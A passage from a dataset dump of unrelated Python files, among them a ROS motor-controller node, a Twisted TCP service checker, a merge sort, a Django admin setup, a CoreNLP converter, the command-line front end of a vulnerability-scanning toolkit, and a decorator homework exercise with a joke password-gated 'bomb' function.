callback(msg_in):\n\tglobal motor_1_speed\n\tglobal motor_2_speed\n\tglobal callback_time\n\tmotor_1_speed = msg_in.cont_2_motor_1_speed_cmd\n\tmotor_2_speed = msg_in.cont_2_motor_2_speed_cmd\n\tcallback_time = time.clock()\n\ndef mis_speed2_node():\n\tglobal ser\n\tglobal motor_1_speed\n\tglobal motor_2_speed\n\tglobal encoder_1_sign\n\tglobal encoder_2_sign\n\tglobal RPM_1_sign\n\tglobal RPM_2_sign\n\tglobal port_open\n\tglobal callback_time\n\tpub = rospy.Publisher('mis/speed2_data', speed2_data)\n\tsub = rospy.Subscriber('mis/motor_commands',motor_commands,callback)\n\trospy.init_node('mis_speed2_node')\n\tmsg_out = speed2_data()\n\tmotor_1_speed = 0\n\tmotor_2_speed = 0\n\tcallback_timeout = 1.0\n\tp = ''\n\tport_open = False\n\twhile not port_open:\n\t\ttry:\n\t\t\topenPort()\n\t\texcept serial.SerialException:\n\t\t\t#rospy.loginfo(\"Controller 2 not open\")\n\t\t\tpass\n\twhile not rospy.is_shutdown():\n\t\tcurrent_time = time.clock()\n\t\tif (current_time - callback_time) >= callback_timeout:\n\t\t\tmotor_1_speed = 0\n\t\t\tmotor_2_speed = 0\n\t\tout_buff1 = \"!G 1 \"+str(motor_1_speed)+\"\\r\"\n\t\tser.write(out_buff1)\n\t\tp = readChar(ser,1.0)\n\t\twhile p != b'\\x2B':\n\t\t\tp = readChar(ser,1.0)\n\t\t\t#rospy.loginfo(\"Looping for first +\")\n\t\tp = readChar(ser,1.0)\n\t\twhile p != b'\\x0D':\n\t\t\tp = readChar(ser,1.0)\n\t\t\t#rospy.loginfo(\"Looping for first CR\")\n\t\tout_buff2 = \"!G 2 \"+str(motor_2_speed)+\"\\r\"\n\t\tser.write(out_buff2)\n\t\tp = readChar(ser,1.0)\n\t\twhile p != b'\\x2B':\n\t\t\tp = readChar(ser,1.0)\n\t\t\t#rospy.loginfo(\"Looping for second +\")\n\t\tp = readChar(ser,1.0)\n\t\twhile p != b'\\x0D':\n\t\t\tp = readChar(ser,1.0)\n\t\t\t#rospy.loginfo(\"Looping for first CR\")\n\t\tser.write(\"?C\\r\") # Request Absolute Encoder Counts\n\t\tm=readChar(ser,1.0)\n\t\t#rospy.loginfo(\"Looking for C, Actually Read %d\",ord(m))\n\t\tif checkChar(m,b'\\x43') == True:\n\t\t\t#rospy.loginfo(\"Read C\")\n\t\t\tm=readChar(ser,0.1)\n\t\t\t#rospy.loginfo(m)\n\t\t\tif checkChar(m,b'\\x3D') == True:\n\t\t\t\t#rospy.loginfo(\"Read =\")\n\t\t\t\ti=0\n\t\t\t\treading = True\n\t\t\t\tmotor_1_encoder_count = 0\n\t\t\t\tmotor_2_encoder_count = 0\n\t\t\t\tread_second_encoder = False # False means motor channel 1; True means motor channel 2\n\t\t\t\tencoder_1_sign = 1.0\n\t\t\t\tencoder_2_sign = 1.0\n\t\t\t\twhile reading == True:\n\t\t\t\t\tm=readChar(ser,0.1)\n\t\t\t\t\tif m == \"\\r\":\n\t\t\t\t\t\t#rospy.loginfo(\"Read end of line\")\n\t\t\t\t\t\treading = False\n\t\t\t\t\telse:\n\t\t\t\t\t\tif m == b'\\x3A':\n\t\t\t\t\t\t\t#rospy.loginfo(\"Read colon\")\n\t\t\t\t\t\t\tread_second_encoder = True\n\t\t\t\t\t\t\tm=readChar(ser,0.1)\n\t\t\t\t\t\tif read_second_encoder == False:\n\t\t\t\t\t\t\tif m == b'\\x2D':\n\t\t\t\t\t\t\t\t#rospy.loginfo(\"Read minus\")\n\t\t\t\t\t\t\t\tencoder_1_sign = -1.0\n\t\t\t\t\t\t\t\tm=readChar(ser,0.1)\n\t\t\t\t\t\t\tmotor_1_encoder_count = motor_1_encoder_count*10+int(m)\n\t\t\t\t\t\t\treading = True\n\t\t\t\t\t\t\tread_second_encoder = False\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif m == b'\\x2D':\n\t\t\t\t\t\t\t\t#rospy.loginfo(\"Read minus\")\n\t\t\t\t\t\t\t\tencoder_2_sign = -1.0\n\t\t\t\t\t\t\t\tm=readChar(ser,0.1)\n\t\t\t\t\t\t\tmotor_2_encoder_count = motor_2_encoder_count*10+int(m)\n\t\t\t\t\t\t\treading = True\n\t\t\t\t\t\t\tread_second_encoder = True\n\t\t\t\tmsg_out.motor_1_encoder_count = motor_1_encoder_count*encoder_1_sign\n\t\t\t\tmsg_out.motor_2_encoder_count = motor_2_encoder_count*encoder_2_sign\n\t\tser.write(\"?S\\r\") # Request RPM\n\t\tm=readChar(ser,1.0)\n\t\tif checkChar(m,b'\\x53'):\n\t\t\t#rospy.loginfo(\"Read S\")\n\t\t\tm=readChar(ser,0.1)\n\t\t\t#rospy.loginfo(m)\n\t\t\tif checkChar(m,b'\\x3D'):\n\t\t\t\t#rospy.loginfo(\"Read =\")\n\t\t\t\ti=0\n\t\t\t\treading = True\n\t\t\t\tmotor_1_RPM = 0\n\t\t\t\tmotor_2_RPM = 0\n\t\t\t\tread_second_RPM = False # False means motor channel 1; True means motor channel 2\n\t\t\t\tRPM_1_sign = 1.0\n\t\t\t\tRPM_2_sign = 1.0\n\t\t\t\twhile reading == True:\n\t\t\t\t\tm=readChar(ser,0.1)\n\t\t\t\t\tif m == \"\\r\":\n\t\t\t\t\t\t#rospy.loginfo(\"Read end of line\")\n\t\t\t\t\t\treading = False\n\t\t\t\t\telse:\n\t\t\t\t\t\tif m == b'\\x3A':\n\t\t\t\t\t\t\t#rospy.loginfo(\"Read colon\")\n\t\t\t\t\t\t\tread_second_RPM = True\n\t\t\t\t\t\t\tm=readChar(ser,0.1)\n\t\t\t\t\t\tif read_second_RPM == False:\n\t\t\t\t\t\t\tif m == b'\\x2D':\n\t\t\t\t\t\t\t\t#rospy.loginfo(\"Read minus\")\n\t\t\t\t\t\t\t\tRPM_1_sign = -1.0\n\t\t\t\t\t\t\t\tm=readChar(ser,0.1)\n\t\t\t\t\t\t\tmotor_1_RPM = motor_1_RPM*10+int(m)\n\t\t\t\t\t\t\treading = True\n\t\t\t\t\t\t\tread_second_RPM = False\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tif m == b'\\x2D':\n\t\t\t\t\t\t\t\t#rospy.loginfo(\"Read minus\")\n\t\t\t\t\t\t\t\tRPM_2_sign = -1.0\n\t\t\t\t\t\t\t\tm=readChar(ser,0.1)\n\t\t\t\t\t\t\tmotor_2_RPM = motor_2_RPM*10+int(m)\n\t\t\t\t\t\t\treading = True\n\t\t\t\t\t\t\tread_second_RPM = True\n\t\t\t\tmsg_out.motor_1_RPM = motor_1_RPM*RPM_1_sign\n\t\t\t\tmsg_out.motor_2_RPM = motor_2_RPM*RPM_2_sign\n\t\tpub.publish(msg_out)\n\t\tprior_time = time.clock()\n\t\tr = rospy.Rate(50)\n\t\tr.sleep()\n\ndef readChar(ser,timeout_time):\n\tinitial_time = time.clock()\n\ttimeout = False\n\tm = ser.read(1)\n\twhile (len(m) == 0) and (timeout == False):\n\t\tm = ser.read(1)\n\t\tcurrent_time = time.clock()\n\t\tif (current_time - initial_time) >= timeout_time:\n\t\t\ttimeout = True\n\t\telse:\n\t\t\ttimeout = False\n\treturn m\n\t\ndef checkChar(m,desired_char_hex):\n\tif m == desired_char_hex:\n\t\treturn True\n\telse:\n\t\treturn False\n\nif __name__ == '__main__':\n    try:\n        mis_speed2_node()\n    except rospy.ROSInterruptException:\n        pass\n","sub_path":"roboteq_interface/scripts/mis_speed2_node.py","file_name":"mis_speed2_node.py","file_ext":"py","file_size_in_byte":5906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"575169368","text":"#! /usr/bin/env python\n#coding=utf-8\n###########################################################################\n#\n#\n#此软件版权为深圳商之杰科技有限公司所有,更多信息请访问www.netbase.asia\n#\n#\n###########################################################################\n\n__doc__ = \"\"\"\nip服务客户端\n\"\"\"\n\nimport re\nfrom twisted.internet import reactor,protocol,defer\nfrom products.netUtils.Utils import unused\nimport logging\nlog = logging.getLogger(\"netipservice\")\nfrom socket import getfqdn\nhostname = getfqdn()\n\nclass ZenTcpTest(protocol.Protocol):\n    \"\"\"\n    功能:通过twisted框架创建TCP/IP连接远程连接ip服务并返回结果\n    作者:wl\n    时间:2013.1.30\n    \"\"\"\n    defer = None\n    data = \"\"\n\n    def connectionMade(self):\n        \"\"\"\n        功能:twisted框架,成功创建连接，发送测试数据\n        作者:wl\n        时间:2013.1.30\n        \"\"\"\n        log.debug(\"Connected to %s\" % self.transport.getPeer().host)\n        self.factory.msg = \"pass\"\n        self.cfg = self.factory.cfg\n\n        if self.cfg.sendString:\n            sendString = self.cfg.sendString.decode(\"string_escape\")\n            log.debug(\"Sending: %s\",sendString)\n            self.transport.write(sendString)\n\n        if self.cfg.expectRegex:\n            log.debug(\"Waiting for results to check against regex '%s'\",\n                      self.cfg.expectRegex)\n            self.defer = reactor.callLater(self.cfg.timeout,self.expectTimeout)\n        else:\n            self.loseConnection()\n\n    def dataReceived(self,data):\n        \"\"\"\n        功能:twisted框架,数据接收函数,正则匹配接收到的数据\n        参数:接收到的数据\n        作者:wl\n        时间:2013.1.30\n        \"\"\"\n        log.debug(\"%s %s received data: %s\",self.cfg.manageIp,\n                  self.cfg.title,data)\n        self.data += data\n        if self.cfg.expectRegex:\n            if re.search(self.cfg.expectRegex,data):\n                log.debug(\"Found %s in '%s' -- closing connection\",\n                          self.cfg.expectRegex,data)\n                self.loseConnection()\n            else:\n                log.debug(\"No match for %s in '%s' -- looking for more data\",\n                          self.cfg.expectRegex,data)\n\n    def expectTimeout(self):\n        \"\"\"\n        功能:数据交互超时处理函数\n        作者:wl\n        时间:2013.1.30\n        \"\"\"\n        msg = \"IP Service %s TIMEOUT waiting for '%s'\" % (\n                    self.cfg.title,self.cfg.expectRegex)\n        log.debug(\"%s %s\",self.cfg.manageIp,msg)\n        self.factory.msg = msg\n        self.loseConnection()\n\n    def loseConnection(self):\n        \"\"\"\n        功��:twisted框架,连接断开后处理函数\n        作者:wl\n        时间:2013.1.30\n        \"\"\"\n        ip,port = self.transport.addr\n        log.debug(\"Closed connection to %s on port %s for %s\",\n                  ip,port,self.cfg.title)\n        self.data = \"\"\n        try:\n            self.defer.cancel()\n        except:\n            self.defer = None\n        self.transport.loseConnection()\n\n\nclass NetTcpClient(protocol.ClientFactory):\n    \"\"\"\n    功能:twisted框架,client类，启动tcp连接\n    作者:wl\n    时间:2013.1.30\n    \"\"\"\n    protocol = ZenTcpTest\n    msg = \"pass\"\n    deferred = None\n\n    def __init__(self,svc,status):\n        self.cfg = svc\n        self.status = status\n\n    def clientConnectionLost(self,connector,reason):\n        \"\"\"\n        功能:twisted框架,client类，连接断开处理函数\n        参数:twisted protocol对象,twisted error对象\n        作者:wl\n        时间:2013.1.30\n        \"\"\"\n        unused(connector)\n        errorMsg = reason.getErrorMessage()\n        if errorMsg != 'Connection was closed cleanly.':\n            log.debug(\"Lost connection to %s (%s) port %s: %s\",\n                  self.cfg.manageIp,self.cfg.manageIp,self.cfg.port,\n                  reason.getErrorMessage())\n        if self.deferred:\n            self.deferred.callback(self)\n        self.deferred = None\n\n    def clientConnectionFailed(self,connector,reason):\n        \"\"\"\n        功能:twisted框架,client类，连接失败处理函数\n        参数:twisted protocol对象,twisted error对象\n        作者:wl\n        时间:2013.1.30\n        \"\"\"\n        log.debug(\"Connection to %s (%s) port %s failed: %s\",\n                  self.cfg.manageIp,connector.host,self.cfg.port,\n                  reason.getErrorMessage())\n        self.msg = \"IP Service %s已停止!\" % self.cfg.title\n        if self.deferred:\n            self.deferred.callback(self)\n        self.deferred = None\n\n    def getEvent(self):\n        \"\"\"\n        功能:获取IP服务事件\n        作者:wl\n        时间:2013.1.30\n        \"\"\"\n        if self.msg == \"pass\" and self.status > 0:\n            self.status = sev = 0\n            self.msg = \"IP Service %s back up\" % self.cfg.title\n\n        elif self.msg != \"pass\":\n            self.status += 1\n            sev = self.cfg.failSeverity\n\n        else:\n            self.status = sev = 0\n            self.msg = \"IP Service %s back up\" % self.cfg.title\n\n        return dict(manageIp = self.cfg.manageIp,\n\t\t\t\t    deviceId = self.cfg.deviceId,\n                    title=self.cfg.title,\n                    cuid=self.cfg.cuid,\n                    component = self.cfg.component,\n                    componentType = self.cfg.componentType,\n                    ipAddress = self.cfg.manageIp,\n                    summary = self.msg,\n                    severity = sev,\n                    eventClass = \"\",\n                    eventGroup = \"TCPTest\",\n                    agent = \"netipservice\",\n                    manager = hostname)\n\n    def start(self,ip_address):\n        \"\"\"\n        功能:启动方法\n        参数:ip string\n        作者:wl\n        时间:2013.1.30\n        \"\"\"\n        d = self.deferred = defer.Deferred()\n        reactor.connectTCP(ip_address.encode(\"idna\"),self.cfg.port,self,3)\n        return d\n","sub_path":"products/netStatus/netTcpClient.py","file_name":"netTcpClient.py","file_ext":"py","file_size_in_byte":5962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"134302711","text":"#2751번: 수 정렬하기 2\n#https://www.acmicpc.net/problem/2751\n\nimport sys\n\ncnt = int(sys.stdin.readline())\n\narr = []\nfor i in range(cnt):\n    arr.append(int(sys.stdin.readline()))\n\ndef merge_sort(arr):\n    if len(arr) < 2:\n        return arr\n        \n    mid = len(arr)//2\n    right = merge_sort(arr[:mid])\n    left = merge_sort(arr[mid:])\n\n    merged_arr = []\n    l = h = 0\n    while l < len(right) and h < len(left):\n        if right[l] < left[h]:\n            merged_arr.append(right[l])\n            l += 1\n        else:\n            merged_arr.append(left[h])\n            h += 1\n            \n    merged_arr += right[l:]\n    merged_arr += left[h:]\n    return merged_arr\n\n\narr = merge_sort(arr)\nfor i in arr:\n    print(i)\n","sub_path":"12_정렬/[02]2751번_수정렬하기_2.py","file_name":"[02]2751번_수정렬하기_2.py","file_ext":"py","file_size_in_byte":727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"441494808","text":"\"\"\"\nWrite out merge variant result\n\"\"\"\n\nwith open(\"../temp/VariantQC.txt\", \"w\") as FileOut:\n\n    Header = ['CHROM', 'POS', 'ID',\n              'REF', 'ALT', 'QUAL',\n              'Coverage', 'nHet', 'nHomRef',\n              'nHomVar', 'nCalled', 'nNotCalled', '\\n']\n    FileOut.write('\\t'.join(Header))\n\n    First = True\n    for StrIn in open(\"../temp/temp.txt\"):\n        if First == True:\n            First = False\n            pass\n        else:\n            TempStr = StrIn.split('\\t')\n\n            nHet = int(TempStr[7])\n            for i in range(13,115,6):\n                nHet += int(TempStr[i])\n\n            nHomRef = int(TempStr[8])\n            for i in range(14, 116, 6):\n                nHomRef += int(TempStr[i])\n\n            nHomVar = int(TempStr[9])\n            for i in range(15, 117, 6):\n                nHomVar += int(TempStr[i])\n\n            nCalled = int(TempStr[10])\n            for i in range(16, 118, 6):\n                nCalled += int(TempStr[i])\n\n            nNotCalled = int(TempStr[11])\n            for i in range(17, 119, 6):\n                nNotCalled += int(TempStr[i])\n\n            StrOut = TempStr[0:7]\n            StrOut.append( str(nHet) )\n            StrOut.append( str(nHomRef) )\n            StrOut.append( str(nHomVar) )\n            StrOut.append( str(nCalled) )\n            StrOut.append( str(nNotCalled) )\n            StrOut.append( '\\n' )\n            FileOut.write( '\\t'.join(StrOut) )\nFileOut.close()\n","sub_path":"1.QC_pipeline_local_HPC/Step4_Merge_Variant_2.py","file_name":"Step4_Merge_Variant_2.py","file_ext":"py","file_size_in_byte":1439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"110021021","text":"from django.contrib import admin\n\nfrom subform.models import Owner, Submission, PdbRef, SubPdb, PubMedRef\n\n\n\nclass SubPdbInLine( admin.TabularInline ):\n    model = SubPdb\n    extra = 1\n\n\nclass SubPubMedInLine( admin.TabularInline ):\n    model = PubMedRef.submission.through\n    extra = 1\n\nclass PubMedRefAdmin( admin.ModelAdmin ):\n    inlines = (SubPubMedInLine,)\n\nclass SubmissionAdmin( admin.ModelAdmin ):\n    inlines = ( SubPdbInLine, SubPubMedInLine )\n\nclass PdbRefAdmin( admin.ModelAdmin ):\n    inlines = (SubPdbInLine,)\n\nclass SubmissionInLine(admin.StackedInline):\n    model = Submission\n    #inlines = (SubPdbInLine)\n    extra = 1\n\nclass OwnerAdmin(admin.ModelAdmin):\n    #fields = ['myt_id', 'username', 'passwd', 'fname', 'lname', 'myt_server_url', 'email_addr' ]\n    fieldsets = [\n\t( 'mytardis login info', { 'fields' : [ 'myt_id', 'username', 'passwd', 'myt_server_url' ] } ),\n\t( 'owner details', { 'fields' : [ 'fname', 'lname', 'email_addr' ]} )\n\t]\n    inlines = [SubmissionInLine]\n\nadmin.site.register( Owner, OwnerAdmin )\nadmin.site.register( Submission, SubmissionAdmin )\nadmin.site.register( PdbRef, PdbRefAdmin )\nadmin.site.register( PubMedRef, PubMedRefAdmin )\n\n\n\n# Register your models here.\n","sub_path":"subform/admin.py","file_name":"admin.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"414294091","text":"import glob\nimport logging\nimport json\nfrom stanfordcorenlp import StanfordCoreNLP\nfrom PetrXmlConverter import *\n\n\nclass FromCorenlpConverter(PetrXmlConverter):\n    def __init__(self, input_path, output_path='', corenlp_path='', port=8000, memory='4g', lang='zh', timeout=1500,\n                 quiet=True, logging_level=logging.WARNING):\n        PetrXmlConverter.__init__(self, input_path, output_path)\n\n        self.corenlp_path = corenlp_path\n        if self.corenlp_path == '' and not self.find_corenlp():\n            raise IOError('Could not find stanford corenlp.')\n        self.nlp = StanfordCoreNLP(self.corenlp_path, port, memory, lang, timeout, quiet, logging_level)\n\n        print('\\033[1;32m'+'Starting up StanfordCoreNLP...'+'\\033[0m')\n\n    def __del__(self):\n        self.nlp.close()\n        print('\\033[1;32m'+'Corenlp closed!'+'\\033[0m')\n\n    def generate_events(self):\n        with open(self.input_path, 'r') as source:\n            for line in source.readlines():\n                if not len(line) == 0:\n                    properties = line.replace('\\n', '').split('|')\n                    event = {\n                        Attr.id: properties[0],\n                        Attr.date: properties[4].split(' ')[0].replace('-', ''),\n                        Attr.source: properties[6],\n                        Attr.url: properties[9]\n                    }\n                    content = re.sub(r'\\s', '', properties[8])\n                    # parse = self.parse(content)\n                    # event[Attr.content] = self.sep_sentence(parse)\n                    event[Attr.content] = self.sep_sentence(content)\n                    print('parse event {0}'.format(event[Attr.id]))\n                    self.events.append(event)\n\n    def parse(self, text):\n        return self.nlp.parse(text)\n\n    def find_corenlp(self):\n        corenlp_paths = glob.glob(\"stanford-corenlp-full-[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]\")\n        if len(corenlp_paths) == 0:\n            return False\n        else:\n            corenlp_paths.sort()\n            self.corenlp_path = corenlp_paths[-1]\n            return True\n","sub_path":"FromCorenlpConverter.py","file_name":"FromCorenlpConverter.py","file_ext":"py","file_size_in_byte":2111,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"162048726","text":"#!/usr/bin/env python3\n\nimport argparse\nimport sys\nimport os\n\nfrom core.controller import Controller\nfrom core.result_types import ResultType\nimport core.utility as util\n\n# The following metadata applies to all source code files of AVAIN\n__author__ = \"Dustin Born\"\n__version__ = \"0.1.2\"\n__license__ = \"MIT\"\n\n\nUSER_RESULT_ARGS = {ResultType.SCAN: (\"-sR\", \"--scan-results\"),\n                    ResultType.VULN_SCORE: (\"-vS\", \"--vulnerability-scores\"),\n                    ResultType.WEBSERVER_MAP: (\"-wM\", \"--webserver-map\")}\n\nclass Cli():\n\n    def __init__(self):\n        \"\"\"\n        Create a Cli object.\n        \"\"\"\n        self.args = None\n        self.user_results = {}\n        self.verbose = True  # make AVAIN verbose by default\n\n    def parse_arguments(self):\n        \"\"\"\n        Parse the command line arguments using ArgumentParser\n\n        :param args: the raw program arguments as a list (e.g. sys.argv)\n        \"\"\"\n\n        parser = argparse.ArgumentParser(description=\"Automated Vulnerability Analysis (in) IP-based \" +\n                                         \"Networks - A toolkit for automatically assessing \" +\n                                         \"the securtiy level of an IP-based network\", prog=\"avain\")\n        optional_args = parser._action_groups.pop()\n        required_args = parser.add_argument_group(\"required arguments (at least one)\")\n        parser._action_groups.append(optional_args)\n\n        required_args.add_argument(\"-n\", \"--networks\", nargs=\"+\", help=\"specify networks to scan \" +\n                                   \"as plain IP address or IP address in CIDR, range or wildcard notation\")\n        required_args.add_argument(\"-nL\", \"--network-list\", help=\"a list that specifies networks \" +\n                                   \"to include into or exclude from the scan\")\n        required_args.add_argument(\"-uM\", \"--update-modules\", action=\"store_true\", help=\"make \" +\n                                   \"the modules that have an update mechanism update\")\n        for rtype, args in USER_RESULT_ARGS.items():\n            required_args.add_argument(args[0], args[1], nargs=\"+\", help=\"specify additional \" +\n                                       \"%s results to include into the final scan result\" %\n                                       rtype.value)\n\n        optional_args.add_argument(\"-c\", \"--config\", help=\"specify a config file to use\")\n        optional_args.add_argument(\"-o\", \"--output\", help=\"specify the output folder name\")\n        optional_args.add_argument(\"-p\", \"--ports\", help=\"specify which ports to scan on every host\")\n        optional_args.add_argument(\"-sN\", \"--single-network\", action=\"store_true\", help=\"operate \" +\n                                   \"in single network mode meaning that all specified networks \" +\n                                   \"are considered to be a subnet of one common supernet\")\n        optional_args.add_argument(\"-v\", \"--verbose\", action=\"store_true\", help=\"enable verbose output\")\n        optional_args.add_argument(\"-nV\", \"--non-verbose\", action=\"store_true\", help=\"disable verbose output\")\n\n        self.args = parser.parse_args()\n\n        # set verbosity (AVAIN is verbose by default)\n        if self.args.non_verbose:\n            self.verbose = False\n\n        self.parse_user_results(parser)\n        if (not self.args.networks) and (not self.args.network_list) and (not self.user_results) \\\n                and (not self.args.update_modules):\n            parser.error(\"at least one of the following arguments is required: -n/--network, \" +\n                         \"-nL/--network-list, -uD/--update-modules or any one of [%s]\" %\n                         \", \".join(\"%s/%s\" % rarg for rarg in USER_RESULT_ARGS.values()))\n\n        self.parse_network_list(parser)\n        self.validate_input(parser)\n\n    def validate_input(self, parser: argparse.ArgumentParser):\n        \"\"\"\n        Validate the program arguments of the given ArgumentParser.\n\n        :param parser: an ArgumentParser with input arguments\n        \"\"\"\n\n        if self.args.networks:\n            for net in self.args.networks:\n                if not util.is_valid_net_addr(net):\n                    parser.error(\"%s is not a valid network address\" % net)\n\n        if self.args.network_list:\n            for ip in self.args.add_networks:\n                if not util.is_valid_net_addr(ip):\n                    parser.error(\"network %s on network list is not a valid network address\" % ip)\n            for ip in self.args.omit_networks:\n                if not util.is_valid_net_addr(ip):\n                    parser.error(\"network %s on network omit list is not a valid network address\" % ip)\n\n        if self.args.output:\n            pass  # so far no limitation on output name\n\n        if self.user_results:\n            for rtype in ResultType:\n                if rtype in self.user_results:\n                    filepaths = self.user_results[rtype]\n                    for filepath in filepaths:\n                        if not os.path.isfile(filepath):\n                            parser.error(\"specified %s result %s is not a file\" % (rtype.value, filepath))\n\n        if self.args.config:\n            if not os.path.isfile(self.args.config):\n                parser.error(\"config %s does not exist\" % self.args.config)\n\n        if self.args.ports:\n            def check_port(port_expr: str):\n                try:\n                    port_int = int(port_expr)\n                    if port_int < 0 or port_int > 65535:\n                        raise ValueError\n                except ValueError:\n                    parser.error(\"port %s is not a valid port\" % port_expr)\n\n            for port_expr in self.args.ports.split(\",\"):\n                if \":\" in port_expr:\n                    port_expr = port_expr[port_expr.find(\":\")+1:]\n                if \"-\" in port_expr:\n                    port_1, port_2 = port_expr.split(\"-\")\n                    check_port(port_1)\n                    check_port(port_2)\n                    if int(port_1) > int(port_2):\n                        parser.error(\"port range %s is not a valid port range\" % port_expr)\n                else:\n                    check_port(port_expr)\n\n    def start(self):\n        \"\"\"\n        Parse the program arguments and initiate the vulnerability analysis.\n        \"\"\"\n\n        controller = Controller(self.args.networks, self.args.add_networks, self.args.omit_networks,\n                                self.args.update_modules, self.args.config, self.args.ports,\n                                self.args.output, self.user_results, self.args.single_network,\n                                self.verbose)\n        controller.run()\n\n    def parse_network_list(self, parser: argparse.ArgumentParser):\n        \"\"\"\n        Parse the network list contained in the given ArgumentParser (if it exists).\n\n        :param parser: an ArgumentParser processing program arguments\n        \"\"\"\n\n        self.args.add_networks, self.args.omit_networks = [], []\n        if not self.args.network_list:\n            return\n\n        if not os.path.isfile(self.args.network_list):\n            parser.error(\"network list %s does not exist\" % self.args.network_list)\n\n        with open(self.args.network_list) as file:\n            for line in file:\n                line = line.strip()\n                if line.startswith(\"+\"):\n                    self.args.add_networks.append(line[1:].strip())\n                elif line.startswith(\"-\"):\n                    self.args.omit_networks.append(line[1:].strip())\n                else:\n                    self.args.add_networks.append(line)\n\n    def parse_user_results(self, parser: argparse.ArgumentParser):\n        self.user_results = {}\n        for rtype, args in USER_RESULT_ARGS.items():\n            filepaths = vars(self.args).get(args[1][2:].replace(\"-\", \"_\"), None)\n            if filepaths:\n                for filepath in filepaths:\n                    if not filepath:\n                        parser.error(\"%s results specified, by no filepath was found\" % rtype.value)\n                    else:\n                        if rtype not in self.user_results:\n                            self.user_results[rtype] = []\n                        self.user_results[rtype].append(filepath)\n\n\ndef banner():\n    print(\"|\" + \"-\" * 78 + \"|\")\n    print(\n\"\"\"\\\n|                                                                              |\n|                         ___  _    __ ___     ____ _   __                     |\n|                        /   || |  / //   |   /  _// | / /                     |\n|                       / /| || | / // /| |   / / /  |/ /                      |\n|                      / ___ || |/ // ___ | _/ / / /|  /                       |\n|                     /_/  |_||___//_/  |_|/___//_/ |_/                        |\n|                                                                              |\\\n\"\"\")\n    print(\"|\" + \" \" * 25 + \"[ Created by - Dustin Born ]\" + \" \" * 25 + \"|\")\n    print(\"|\" + \"-\" * 78 + \"|\")\n    print()\n\n\n#########################################\n### Entry point for the AVAIN program ###\n#########################################\nif __name__ == \"__main__\":\n    banner()\n    # Extend search path for modules\n    MODULE_DIR = os.path.dirname(\"modules\")\n    sys.path.append(MODULE_DIR)\n\n    # Start program\n    CLI = Cli()\n    CLI.parse_arguments()\n    CLI.start()\n","sub_path":"avain.py","file_name":"avain.py","file_ext":"py","file_size_in_byte":9339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
+{"seq_id":"367541665","text":"# 使用函数和类两种方式,定义topsecret装饰器,用于装饰高度机密的函数；\n# 装饰器参数,int型机密等级level；\n# 用装饰器装饰的函数,必须输入执行密码才能执行；\n# 根据保密等级不同,密码的位数不同；\n# 用一个字典保存密码；\n# 定义一个发射核弹函数bomb(),用toplevel装饰,保密等级3；\n# 定义一个根据身份证号查询银行余额函数getAccountById(id),用toplevel装饰,保密等级2；\n##########################################################################\n\nfrom functools import wraps\n\n\nclass topsecret:\n    LEVEL_MINISTER = 2\n    LEVEL_PRESIDENT = 3\n\n    pwds = {LEVEL_MINISTER: \"123\", LEVEL_PRESIDENT: \"123456\"}\n\n    level = 0\n\n    def __init__(self, level=0):\n        self.level = level\n\n    def __call__(self, func):\n        @wraps(func)\n        def inner(*args, **kwargs):\n            pwd = input(\"Enter password:\")\n            if pwd == topsecret.pwds[self.level]:\n                print(\"校验成功！\")\n                func(*args, **kwargs)\n                print(\"发射成功！\")\n            else:\n                print(\"You have no authority!\")\n\n        return inner\n\n\n@topsecret(level=topsecret.LEVEL_PRESIDENT)\ndef bomb(Giver):\n    print(\"10,,,,,5,,3,2,1,ignition,\\n....................\\\n        \\n................\\n............\\nBOOOOOOOOOOOOMB!!!!!!!!\")\n\n\n##########################################################################\n# LEVEL_MINISTER = 2\n# LEVEL_PRESIDENT = 3\n# pwds = {LEVEL_MINISTER: 123, LEVEL_PRESIDENT: 123456}\n# IdLibrary = [\n#     50010219951,\n#     50010219952,\n#     50010219953,\n#     50010219954,\n#     50010219955,\n#     50010219956,\n#     50010219957,\n#     50010219958,\n#     50010219959,\n# ]\n\n# def toplevel(level):  # 接受装饰器参数\n#     def wrapper(func):  # 接受函数\n#         def inner(*args):  # 接受函数参数\n#             if args[2] == pwds[args[1]]:  # 函数参数传入后变为元组\n#                 for cad in IdLibrary:\n#                     if args[0] == cad:\n#                         print(\"ID校验成功\")\n#                         func(args[0])\n#                         break\n\n#         return inner\n\n#     return wrapper\n\n# @toplevel(level=LEVEL_MINISTER)\n# def getAccountById(ad):\n#     print(ad, \", You have no money!\")\n\n##########################################################################\n\nif __name__ == '__main__':\n    Giver = input(\"Enter you name:\")\n    bomb(Giver)\n    # ad, level, password = eval(input(\"Enter you ID,level,password:\"))\n    # getAccountById(ad, level, password)\n","sub_path":"homework/python language programming/fire.py","file_name":"fire.py","file_ext":"py","file_size_in_byte":2576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"32"}
